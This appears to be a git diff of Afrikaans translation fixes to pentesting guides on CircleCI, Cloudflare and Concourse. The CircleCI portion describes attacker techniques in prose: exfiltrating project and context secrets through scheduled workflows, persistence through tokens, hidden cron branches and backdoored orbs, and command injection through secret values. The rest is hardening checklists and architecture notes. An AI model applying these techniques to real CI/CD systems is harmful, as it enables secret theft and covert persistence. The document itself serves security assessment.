(129).png>) @@ -69,7 +69,7 @@ Jy kan hulle **verklaar in** _https://app.circleci.com/settings/project/github/\ #### Konteks Geheime -Dit is geheime wat **organisasie wye** is. Deur **verstek kan enige repo** **enige geheim** wat hier gestoor is **toegang** hê: +Dit is geheime wat **organisasie wyd** is. Deur **verstek kan enige repo** **enige geheim** wat hier gestoor is **toegang** hê: ![](<../images/image (123).png>) @@ -83,14 +83,14 @@ Dit is geheime wat **organisasie wye** is. Deur **verstek kan enige repo** **eni As jy **toegang het tot die VCS** (soos github) kyk na die lêer `.circleci/config.yml` van **elke repo op elke tak** en **soek** na potensiële **duidelike teks geheime** wat daar gestoor is. -#### Geheime Omgewing Variabelen & Konteks enumerasie +#### Geheim Env Vars & Konteks enumerasie Deur die kode na te gaan kan jy **alle geheime name** vind wat in elke `.circleci/config.yml` lêer **gebruik** word. Jy kan ook die **konteks name** van daardie lêers kry of hulle in die webkonsol nagaan: _https://app.circleci.com/settings/organization/github/\/contexts_. #### Ekstrakteer Projek geheime > [!WARNING] -> Ten einde om **ALLES** van die projek en konteks **GEHEIME** te **ekstrakteer** moet jy **net** **SKRYF** toegang hê tot **net 1 repo** in die hele github organisasie (_en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks_). +> Ten einde **ALLES** van die projek en konteks **GEHEIME** te **ekstrakteer** moet jy **net** **SKRYF** toegang hê tot **net 1 repo** in die hele github organisasie (_en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks_). > [!CAUTION] > Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**. Daarom kan 'n aanvaller **alle projekvariabels van al die repos** **importeer** en dan **almal saam ekstrakteer**. @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **n werkvloei skep** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres uitvoer**: +As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **'n werksvloei skep** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres uitvoer**: ```yaml version: 2.1 @@ -192,12 +192,12 @@ jobs: context: Test-Context ``` > [!WARNING] -> Om net 'n nuwe `.circleci/config.yml` in 'n repo te skep **is nie genoeg om 'n circleci bou te aktiveer nie**. Jy moet dit **as 'n projek in die circleci konsole aktiveer**. +> Om net 'n nuwe `.circleci/config.yml` in 'n repo te skep **is nie genoeg om 'n circleci bou te aktiveer** nie. Jy moet dit **as 'n projek in die circleci konsole aktiveer**. #### Ontsnap na die Wolk -**CircleCI** gee jou die opsie om **jou boue in hul masjiene of in jou eie** te laat loop.\ -Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie enigiets relevants kan vind nie. As 'n slagoffer egter die take in **hulle eie masjiene (potensieel, in 'n wolk omgewing)** uitvoer, kan jy 'n **wolk metadata eindpunt met interessante inligting daarop** vind. +**CircleCI** gee jou die opsie om **jou boue in hul masjiene of in jou eie te laat loop**.\ +Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie iets relevants kan vind nie. As 'n slagoffer egter die take in **hulle eie masjiene (potensieel, in 'n wolk omgewing)** uitvoer, kan jy 'n **wolk metadata eindpunt met interessante inligting daarop** vind. Let daarop dat in die vorige voorbeelde alles binne 'n docker houer gelanseer is, maar jy kan ook **vra om 'n VM masjien te lanseer** (wat dalk verskillende wolk toestemmings kan hê): ```yaml @@ -221,15 +221,15 @@ version: 19.03.13 ``` #### Volharding -- Dit is moontlik om **gebruikertokens in CircleCI** te **skep** om toegang te verkry tot die API-eindpunte met die gebruikers se toegang. +- Dit is moontlik om **gebruikertokens in CircleCI** te **skep** om toegang tot die API-eindpunte met die gebruikers se toegang te verkry. - _https://app.circleci.com/settings/user/tokens_ -- Dit is moontlik om **projektokens** te **skep** om toegang te verkry tot die projek met die toestemmings wat aan die token gegee is. +- Dit is moontlik om **projektokens** te **skep** om toegang tot die projek met die toestemmings wat aan die token gegee is, te verkry. - _https://app.circleci.com/settings/project/github/\/\/api_ - Dit is moontlik om **SSH-sleutels** aan die projekte toe te voeg. - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- Dit is moontlik om 'n **cron-taak in 'n verborge tak** te **skep** in 'n onverwagte projek wat elke dag al die **context env** vars **lek**. -- Of selfs in 'n tak te **skep** / 'n bekende taak te **wysig** wat elke dag al die context en **projeksecrets** sal **lek**. -- As jy 'n github-eienaar is, kan jy **ongeverifieerde orbs** **toelaat** en een in 'n taak as **achterdeur** konfigureer. -- Jy kan 'n **opdraginjektievulnerabiliteit** in sommige take vind en **opdragte** via 'n **geheim** **injekteer** deur sy waarde te **wysig**. +- Dit is moontlik om 'n **cron-taak in 'n verborge tak** in 'n onverwagte projek te **skep** wat elke dag al die **context env** vars **lek**. +- Of selfs in 'n tak te **skep** / 'n bekende taak te **wysig** wat elke dag al die konteks en **projeksecrets** sal **lek**. +- As jy 'n github-eienaar is, kan jy **ongeverifieerde orbs** **toelaat** en een in 'n taak as **agterdeur** konfigureer. +- Jy kan 'n **opdraginjektievulnerabiliteit** in sommige take vind en **opdragte** via 'n **geheim** deur sy waarde te **wysig** **injekteer**. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 2771189de..3c763d6c0 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,12 +1,12 @@ -# Cloudflare Security +# Cloudflare Sekuriteit {{#include ../../banners/hacktricks-training.md}} -In 'n Cloudflare-rekening is daar 'n paar **generale instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheid-verwante instellings van elke afdeling analiseer:** +In 'n Cloudflare-rekening is daar 'n paar **generiese instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheid-verwante instellings van elke afdeling analiseer:**
-## Websites +## Webwerwe Herbekyk elkeen met: @@ -14,7 +14,7 @@ Herbekyk elkeen met: cloudflare-domains.md {{#endref}} -### Domein Registrasie +### Domeinregistrasie - [ ] In **`Transfer Domains`** kyk dat dit nie moontlik is om enige domein oor te dra nie. @@ -26,33 +26,33 @@ cloudflare-domains.md ## Analise -_Ek kon niks vind om 'n konfigurasie veiligheid hersiening te doen nie._ +_Ek kon niks vind om 'n konfigurasie-sekuriteitsherziening te doen nie._ ## Bladsye -Op elke Cloudflare se bladsy: +Op elke Cloudflare-bladsy: - [ ] Kyk vir **sensitiewe inligting** in die **`Build log`**. - [ ] Kyk vir **sensitiewe inligting** in die **Github-repo** wat aan die bladsye toegeken is. -- [ ] Kyk vir potensiële github repo kompromie via **workflow command injection** of `pull_request_target` kompromie. Meer inligting in die [**Github Veiligheid bladsy**](../github-security/). -- [ ] Kyk vir **kwesbare funksies** in die `/fuctions` gids (indien enige), kyk die **omleidings** in die `_redirects` lêer (indien enige) en **misgeconfigureerde koppe** in die `_headers` lêer (indien enige). -- [ ] Kyk vir **kwesbaarhede** in die **web bladsy** via **blackbox** of **whitebox** as jy die **kode** kan **toegang**. +- [ ] Kyk vir potensiële github repo kompromie via **workflow command injection** of `pull_request_target` kompromie. Meer inligting in die [**Github Sekuriteitsblad**](../github-security/). +- [ ] Kyk vir **kwesbare funksies** in die `/fuctions` gids (indien enige), kyk die **omleidings** in die `_redirects` lêer (indien enige) en **misgeconfigureerde koptekste** in die `_headers` lêer (indien enige). +- [ ] Kyk vir **kwesbaarhede** in die **webblad** via **blackbox** of **whitebox** as jy die **kode** kan **toegang**. - [ ] In die besonderhede van elke bladsy `//pages/view/blocklist/settings/functions`. Kyk vir **sensitiewe inligting** in die **`Environment variables`**. -- [ ] In die besonderhede bladsy kyk ook die **bou opdrag** en **wortel gids** vir **potensiële inspuitings** om die bladsy te kompromitteer. +- [ ] In die besonderhede bladsy kyk ook die **bouopdrag** en **wortelgids** vir **potensiële inspuitings** om die bladsy te kompromitteer. -## **Workers** +## **Werkers** -Op elke Cloudflare se werker kyk: +Op elke Cloudflare-werker kyk: -- [ ] Die triggers: Wat maak die werker om te trigger? Kan 'n **gebruiker data stuur** wat deur die werker **gebruik** sal word? +- [ ] Die triggers: Wat maak die werker aktiveer? Kan 'n **gebruiker data stuur** wat deur die werker **gebruik** sal word? - [ ] In die **`Settings`**, kyk vir **`Variables`** wat **sensitiewe inligting** bevat. - [ ] Kyk die **kode van die werker** en soek vir **kwesbaarhede** (veral in plekke waar die gebruiker die invoer kan bestuur). - Kyk vir SSRFs wat die aangeduide bladsy teruggee wat jy kan beheer. -- Kyk vir XSS's wat JS binne 'n svg beeld uitvoer. +- Kyk XSSs wat JS binne 'n svg beeld uitvoer. - Dit is moontlik dat die werker met ander interne dienste interaksie het. Byvoorbeeld, 'n werker kan met 'n R2-bucket interaksie hê wat inligting daarin stoor wat van die invoer verkry is. In daardie geval sal dit nodig wees om te kyk watter vermoëns die werker oor die R2-bucket het en hoe dit misbruik kan word vanaf die gebruikersinvoer. > [!WARNING] -> Let daarop dat 'n **Werker standaard 'n URL gegee word** soos `..workers.dev`. Die gebruiker kan dit op 'n **subdomein** stel, maar jy kan dit altyd met daardie **oorspronklike URL** toegang as jy dit weet. +> Let daarop dat 'n **Werker standaard 'n URL** gegee word soos `..workers.dev`. Die gebruiker kan dit op 'n **subdomein** stel, maar jy kan dit altyd met daardie **oorspronklike URL** toegang as jy dit weet. ## R2 @@ -68,10 +68,10 @@ TODO TODO -## Veiligheid Sentrum +## Sekuriteitsentrum - [ ] As moontlik, voer 'n **`Security Insights`** **skandering** en 'n **`Infrastructure`** **skandering** uit, aangesien dit **interessante inligting** **veiligheid** wys. -- [ ] Kyk net na **hierdie inligting** vir veiligheid misconfigurasies en interessante inligting. +- [ ] Kyk net **hierdie inligting** vir sekuriteitsmisconfigurasies en interessante inligting. ## Turnstile @@ -86,14 +86,14 @@ cloudflare-zero-trust-network.md ## Groot Omleidings > [!NOTE] -> Anders as [Dinamiese Omleidings](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Groot Omleidings**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) is essensieel staties — hulle ondersteun **nie enige string vervangings** operasies of gereelde uitdrukkings nie. Dit is egter moontlik om URL omleidingsparameters te konfigureer wat hul URL ooreenkoms gedrag en hul runtime gedrag beïnvloed. +> Anders as [Dinamiese Omleidings](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Groot Omleidings**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) is essensieel staties — hulle ondersteun **nie enige stringvervangings** operasies of gereelde uitdrukkings nie. Jy kan egter URL-omleidingsparameters konfigureer wat hul URL-ooreenkoms gedrag en hul runtime gedrag beïnvloed. -- [ ] Kyk dat die **uitdrukkings** en **vereistes** vir omleidings **sinvol is**. -- [ ] Kyk ook vir **sensitiewe verborge eindpunte** wat jy interessante inligting bevat. +- [ ] Kyk dat die **uitdrukkings** en **vereistes** vir omleidings **sinvol** is. +- [ ] Kyk ook vir **sensitiewe verborge eindpunte** wat interessante inligting bevat. ## Kennisgewings -- [ ] Kyk die **kennisgewings.** Hierdie kennisgewings word aanbeveel vir veiligheid: +- [ ] Kyk die **kennisgewings.** Hierdie kennisgewings word aanbeveel vir sekuriteit: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -118,14 +118,14 @@ cloudflare-zero-trust-network.md ## Bestuur Rekening -- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **verval** tyd en **faktuur adres** in **`Billing` -> `Payment info`** te sien. +- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **verval** tyd en **faktuuradres** in **`Billing` -> `Payment info`** te sien. - [ ] Dit is moontlik om die **plan tipe** wat in die rekening gebruik word in **`Billing` -> `Subscriptions`** te sien. -- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, bestaan daar slegs 2 rolle: Administrateur en Super Administrateur. Maar as die gebruikte **plan Enterprise** is, kan [**meer rolle**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) gebruik word om die minste voorregte beginsel te volg. -- Daarom, wanneer moontlik, is dit **aanbeveel** om die **Enterprise plan** te gebruik. +- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, slegs 2 rolle bestaan: Administrateur en Super Administrateur. Maar as die gebruikte **plan Enterprise** is, kan [**meer rolle**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) gebruik word om die minste voorregte beginsel te volg. +- Daarom, wanneer moontlik, word dit **aanbeveel** om die **Enterprise plan** te gebruik. - [ ] In Lede is dit moontlik om te kyk watter **lede** **2FA geaktiveer** het. **Elke** gebruiker moet dit geaktiveer hê. > [!NOTE] -> Let daarop dat gelukkig die rol **`Administrator`** nie toestemming gee om lidmaatskappe te bestuur nie (**kan nie voorregte verhoog of nuwe lede nooi nie**). +> Let daarop dat gelukkig die rol **`Administrator`** nie toestemming gee om lidmaatskappe te bestuur nie (**kan nie voorregte verhoog of** nuwe lede nooi nie). ## DDoS Ondersoek diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 9fe9235b9..ab2e87111 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -1,8 +1,8 @@ -# Cloudflare Domains +# Cloudflare Domeine {{#include ../../banners/hacktricks-training.md}} -In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **algemene instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:** +In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **generiese instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:**
@@ -13,14 +13,14 @@ In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **algemene inste ### Analise -- [ ] In **`Security`** kyk of daar enige **Tarief beperking** is +- [ ] In **`Veiligheid`** kyk of daar enige **Tariefbeperking** is ### DNS - [ ] Kyk na **interessante** (sensitiewe?) data in DNS **rekords** - [ ] Kyk vir **subdomeine** wat **sensitiewe inligting** kan bevat net gebaseer op die **naam** (soos admin173865324.domin.com) -- [ ] Kyk vir webbladsye wat **nie** **geproksie** is nie -- [ ] Kyk vir **geproksie webbladsye** wat direk deur CNAME of IP adres **toeganklik** is +- [ ] Kyk vir webbladsye wat **nie** **geproksieer** is nie +- [ ] Kyk vir **geproksieerde webbladsye** wat direk deur CNAME of IP-adres **toeganklik** is - [ ] Kyk dat **DNSSEC** **geaktiveer** is - [ ] Kyk dat **CNAME Flattening** in **alle CNAMEs** **gebruik** word - Dit kan nuttig wees om **subdomein oorneem kwesbaarhede** te **versteek** en laai tyds te verbeter @@ -30,7 +30,7 @@ In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **algemene inste TODO -### Spectrum +### Spektrum TODO @@ -38,7 +38,7 @@ TODO #### **Oorsig** -- [ ] Die **SSL/TLS enkripsie** moet **Vol** of **Vol (Streng)** wees. Enige ander sal **duidelike teks verkeer** op 'n sekere punt stuur. +- [ ] Die **SSL/TLS enkripsie** moet **Vol** of **Vol (Streng)** wees. Enige ander sal **duidelike teksverkeer** op 'n sekere punt stuur. - [ ] Die **SSL/TLS Aanbeveler** moet geaktiveer wees #### Rand Sertifikate @@ -52,9 +52,9 @@ TODO ### **Veiligheid** -- [ ] In die **`WAF`** afdeling is dit interessant om te kyk dat **Firewall** en **tarief beperking reëls gebruik word** om misbruik te voorkom. +- [ ] In die **`WAF`** afdeling is dit interessant om te kyk dat **Vuurmuur** en **tariefbeperking reëls gebruik word** om misbruik te voorkom. - Die **`Bypass`** aksie sal **Cloudflare sekuriteit** funksies vir 'n versoek **deaktiveer**. Dit moet nie gebruik word nie. -- [ ] In die **`Page Shield`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige bladsy gebruik word +- [ ] In die **`Bladskild`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige bladsy gebruik word - [ ] In die **`API Shield`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige API in Cloudflare blootgestel word - [ ] In die **`DDoS`** afdeling word dit aanbeveel om die **DDoS beskermings** te aktiveer - [ ] In die **`Instellings`** afdeling: @@ -65,16 +65,16 @@ TODO #### **CloudFlare DDoS Beskerming** -- As jy kan, aktiveer **Bot Strijd Modus** of **Super Bot Strijd Modus**. As jy 'n API beskerm wat programmaties toeganklik is (van 'n JS front end bladsy byvoorbeeld). Jy mag dalk nie in staat wees om dit te aktiveer sonder om daardie toegang te breek nie. -- In **WAF**: Jy kan **tarief beperkings per URL pad** of vir **geverifieerde bots** (Tarief beperking reëls) skep, of om **toegang te blokkeer** gebaseer op IP, Koekie, verwysing...). So jy kan versoeke blokkeer wat nie van 'n webblad kom nie of 'n koekie het. -- As die aanval van 'n **geverifieerde bot** is, voeg ten minste 'n **tarief beperking** by vir bots. -- As die aanval op 'n **spesifieke pad** is, voeg as voorkomingsmeganisme 'n **tarief beperking** in hierdie pad by. -- Jy kan ook **witlys** IP adresse, IP reekse, lande of ASN's van die **Gereedskap** in WAF. -- Kyk of **Geverifieerde reëls** ook kan help om kwesbaarheidsontploffings te voorkom. +- As jy kan, aktiveer **Bot Strijdmodus** of **Super Bot Strijdmodus**. As jy 'n API beskerm wat programmaties (van 'n JS front-end bladsy byvoorbeeld) toeganklik is. Jy mag dalk nie in staat wees om dit te aktiveer sonder om daardie toegang te breek nie. +- In **WAF**: Jy kan **tariefbeperkings per URL pad** of vir **geverifieerde bots** (Tariefbeperking reëls) skep, of om **toegang te blokkeer** gebaseer op IP, Koekie, verwysing...). So jy kan versoeke blokkeer wat nie van 'n webblad kom nie of 'n koekie het. +- As die aanval van 'n **geverifieerde bot** is, voeg ten minste 'n **tariefbeperking** by vir bots. +- As die aanval op 'n **spesifieke pad** is, voeg as voorkomingsmeganisme 'n **tariefbeperking** in hierdie pad by. +- Jy kan ook IP-adresse, IP-reekse, lande of ASN's van die **Gereedskap** in WAF **witlys**. +- Kyk of **Geverifieerde reëls** ook kan help om kwesbaarheid eksploitasiest te voorkom. - In die **Gereedskap** afdeling kan jy **blokkeer of 'n uitdaging gee aan spesifieke IPs** en **gebruikersagente.** - In DDoS kan jy **sekere reëls oorskry om hulle meer beperkend te maak**. - **Instellings**: Stel **Veiligheidsvlak** op **Hoog** en op **Onder Aanval** as jy Onder Aanval is en dat die **Bladsy Integriteit Kontrole geaktiveer** is. -- In Cloudflare Domeine -> Analise -> Veiligheid -> Kyk of **tarief beperking** geaktiveer is +- In Cloudflare Domeine -> Analise -> Veiligheid -> Kyk of **tariefbeperking** geaktiveer is - In Cloudflare Domeine -> Veiligheid -> Gebeure -> Kyk vir **gedetekteerde kwaadwillige Gebeure** ### Toegang @@ -89,11 +89,11 @@ _Ek kon nie enige opsie rakende veiligheid vind nie_ ### Caching -- [ ] In die **`Konfigurasie`** afdeling oorweeg om die **CSAM Skandeer Gereedskap** te aktiveer +- [ ] In die **`Konfigurasie`** afdeling oorweeg om die **CSAM Skandeergereedskap** te aktiveer -### **Workers Routes** +### **Workers Roetes** -_Jy moet reeds_ [_cloudflare workers_](./#workers) _gekyk het_ +_Jy behoort reeds_ [_cloudflare workers_](./#workers) _gekyk te het_ ### Reëls @@ -111,7 +111,7 @@ TODO ### Aangepaste Bladsye -- [ ] Dit is opsioneel om aangepaste bladsye te konfigureer wanneer 'n fout rakende veiligheid geaktiveer word (soos 'n blok, tarief beperking of ek is onder aanval modus) +- [ ] Dit is opsioneel om aangepaste bladsye te konfigureer wanneer 'n fout rakende veiligheid geaktiveer word (soos 'n blok, tariefbeperking of ek is onder aanval modus) ### Apps @@ -119,7 +119,7 @@ TODO ### Scrape Shield -- [ ] Kyk of **E-pos Adres Obfuskering** **geaktiveer** is +- [ ] Kyk of **E-posadres Obfuskerings** **geaktiveer** is - [ ] Kyk of **Bediener-kant Uitsluitings** **geaktiveer** is ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 48d438b91..c5c74554c 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -27,8 +27,8 @@ Op elke toepassing: - [ ] Kontroleer die **beskikbare identiteitsverskaffers** en maak seker hulle **is nie te oop nie** - [ ] In **`Settings`**: - [ ] Kontroleer dat **CORS nie geaktiveer is nie** (as dit geaktiveer is, kontroleer dat dit **veilig** is en nie alles toelaat nie) -- [ ] Koekies moet die **Streng Same-Site** attribuut hê, **HTTP Only** en **binding cookie** moet **geaktiveer** wees as die toepassing HTTP is. -- [ ] Oorweeg om ook **Bladsy-rendering** te aktiveer vir beter **beskerming. Meer inligting oor** [**afgeleë blaaier-isolasie hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Koekies moet die **Strict Same-Site** attribuut hê, **HTTP Only** en **binding cookie** moet **geaktiveer** wees as die toepassing HTTP is. +- [ ] Oorweeg om ook **Browser rendering** te aktiveer vir beter **beskerming. Meer inligting oor** [**remote browser isolation hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** @@ -56,6 +56,6 @@ TODO - [ ] Kontroleer die **plan tipe** - [ ] Dit is moontlik om die **kredietkaart eienaar se naam**, **laaste 4 syfers**, **verval** datum en **adres** te sien -- [ ] Dit word aanbeveel om 'n **User Seat Expiration** toe te voeg om gebruikers te verwyder wat hierdie diens nie regtig gebruik nie +- [ ] Dit word aanbeveel om 'n **User Seat Expiration** toe te voeg om gebruikers te verwyder wat nie regtig hierdie diens gebruik nie {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index 7f4875137..d9d6bafac 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -1,10 +1,10 @@ -# Concourse Security +# Concourse Sekuriteit {{#include ../../banners/hacktricks-training.md}} ## Basiese Inligting -Concourse laat jou toe om **pype** te bou om outomaties toetse, aksies en beelde te loop wanneer jy dit nodig het (tydgebaseerd, wanneer iets gebeur...) +Concourse laat jou toe om **pypelines** te bou om outomaties toetse, aksies en beelde te bou wanneer jy dit nodig het (tydgebaseerd, wanneer iets gebeur...) ## Concourse Argitektuur @@ -16,15 +16,15 @@ concourse-architecture.md ## Concourse Laboratorium -Leer hoe jy 'n concourse omgewing plaaslik kan loop om jou eie toetse te doen in: +Leer hoe jy 'n concourse omgewing plaaslik kan uitvoer om jou eie toetse te doen in: {{#ref}} concourse-lab-creation.md {{#endref}} -## Tel & Aanval Concourse +## Enumereer & Aanval Concourse -Leer hoe jy die concourse omgewing kan tel en misbruik in: +Leer hoe jy die concourse omgewing kan enumereer en misbruik in: {{#ref}} concourse-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 7c9647434..6a304c95f 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,26 +1,26 @@ -# Concourse-argitektuur +# Concourse Argitektuur -## Concourse-argitektuur +## Concourse Argitektuur {{#include ../../banners/hacktricks-training.md}} -[**Relevante data uit Concourse-dokumentasie:**](https://concourse-ci.org/internals.html) +[**Relevante data uit Concourse dokumentasie:**](https://concourse-ci.org/internals.html) ### Argitektuur ![](<../../images/image (187).png>) -#### ATC: web UI & bou skeduler +#### ATC: web UI & bou skeduleerder Die ATC is die hart van Concourse. Dit bestuur die **web UI en API** en is verantwoordelik vir alle pyplyn **skedulering**. Dit **verbind met PostgreSQL**, wat dit gebruik om pyplyn data (insluitend bou logs) te stoor. -Die [checker](https://concourse-ci.org/checker.html)'s verantwoordelikheid is om voortdurend na nuwe weergawes van hulpbronne te kyk. Die [scheduler](https://concourse-ci.org/scheduler.html) is verantwoordelik vir die skedulering van boue vir 'n werk en die [build tracker](https://concourse-ci.org/build-tracker.html) is verantwoordelik vir die uitvoering van enige geskeduleerde boue. Die [garbage collector](https://concourse-ci.org/garbage-collector.html) is die opruimingsmeganisme vir die verwydering van enige onbenutte of verouderde voorwerpe, soos houers en volumes. +Die [checker](https://concourse-ci.org/checker.html)'s verantwoordelikheid is om voortdurend na nuwe weergawes van hulpbronne te kyk. Die [scheduler](https://concourse-ci.org/scheduler.html) is verantwoordelik vir die skedulering van boue vir 'n werk en die [build tracker](https://concourse-ci.org/build-tracker.html) is verantwoordelik vir die uitvoering van enige geskeduleerde boue. Die [garbage collector](https://concourse-ci.org/garbage-collector.html) is die skoonmaakmeganisme vir die verwydering van enige ongebruikte of verouderde objekte, soos houers en volumes. #### TSA: werker registrasie & forwarding -Die TSA is 'n **aangepaste SSH-bediener** wat slegs gebruik word vir die veilige **registrasie** van [**werkers**](https://concourse-ci.org/internals.html#architecture-worker) met die [ATC](https://concourse-ci.org/internals.html#component-atc). +Die TSA is 'n **aangepaste SSH bediener** wat slegs gebruik word vir die veilige **registrasie** van [**werkers**](https://concourse-ci.org/internals.html#architecture-worker) met die [ATC](https://concourse-ci.org/internals.html#component-atc). -Die TSA luister **standaard op poort `2222`**, en is gewoonlik saam met die [ATC](https://concourse-ci.org/internals.html#component-atc) en sit agter 'n laaibalans. +Die TSA luister **standaard op poort `2222`**, en is gewoonlik saamgeplaas met die [ATC](https://concourse-ci.org/internals.html#component-atc) en sit agter 'n laaibalans. Die **TSA implementeer CLI oor die SSH-verbinding,** wat [**hierdie opdragte**](https://concourse-ci.org/internals.html#component-tsa) ondersteun. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 38125201d..eed9a6b39 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -1,71 +1,71 @@ -# Concourse Enumeration & Attacks +# Concourse Enumerasie & Aanvalle -## Concourse Enumeration & Attacks +## Concourse Enumerasie & Aanvalle {{#include ../../banners/hacktricks-training.md}} -### User Roles & Permissions +### Gebruiker Rolle & Toestemmings Concourse kom met vyf rolle: -- _Concourse_ **Admin**: Hierdie rol word slegs aan eienaars van die **hoofspan** (standaard aanvanklike concourse-span) gegee. Admins kan **ander spanne konfigureer** (bv.: `fly set-team`, `fly destroy-team`...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie. +- _Concourse_ **Admin**: Hierdie rol word slegs gegee aan eienaars van die **hoofspan** (standaard aanvanklike concourse span). Admins kan **ander spanne konfigureer** (bv.: `fly set-team`, `fly destroy-team`...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie. - **eienaar**: Span eienaars kan **alles binne die span wysig**. - **lid**: Span lede kan **lees en skryf** binne die **span se bates** maar kan nie die spaninstellings wysig nie. -- **pipeline-operator**: Pipeline operators kan **pipeline operasies** uitvoer soos om boue te aktiveer en hulpbronne vas te pen, maar hulle kan nie pipeline konfigurasies opdateer nie. -- **kyker**: Span kykers het **"lees-slegs" toegang tot 'n span** en sy pipelines. +- **pyplyn-operateur**: Pyplyn operateurs kan **pyplyn operasies** uitvoer soos om boue te aktiveer en hulpbronne vas te pen, maar hulle kan nie pyplyn konfigurasies opdateer nie. +- **kyker**: Span kykers het **"lees-slegs" toegang tot 'n span** en sy pyplyne. > [!NOTE] -> Boonop kan die **toestemmings van die rolle eienaar, lid, pipeline-operator en kyker gewysig word** deur RBAC te konfigureer (meer spesifiek, sy aksies). Lees meer daaroor in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Boonop kan die **toestemmings van die rolle eienaar, lid, pyplyn-operateur en kyker gewysig word** deur RBAC te konfigureer (meer spesifiek sy aksies). Lees meer daaroor in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Let daarop dat Concourse **pipeliner binne Spanne groepeer**. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pipelines te bestuur en **verskeie Spanne** mag bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen hê. +Let daarop dat Concourse **pyplyne binne Spanne groepeer**. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pyplyne te bestuur en **verskeie Spanne** mag bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen hê. -### Vars & Credential Manager +### Vars & Kredietbestuurder In die YAML konfigurasies kan jy waardes konfigureer met die sintaksis `((_source-name_:_secret-path_._secret-field_))`.\ -[Van die dokumentasie:](https://concourse-ci.org/vars.html#var-syntax) Die **source-name is opsioneel**, en as dit weggelaat word, sal die [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) gebruik word, of die waarde kan [staties](https://concourse-ci.org/vars.html#static-vars) verskaf word.\ -Die 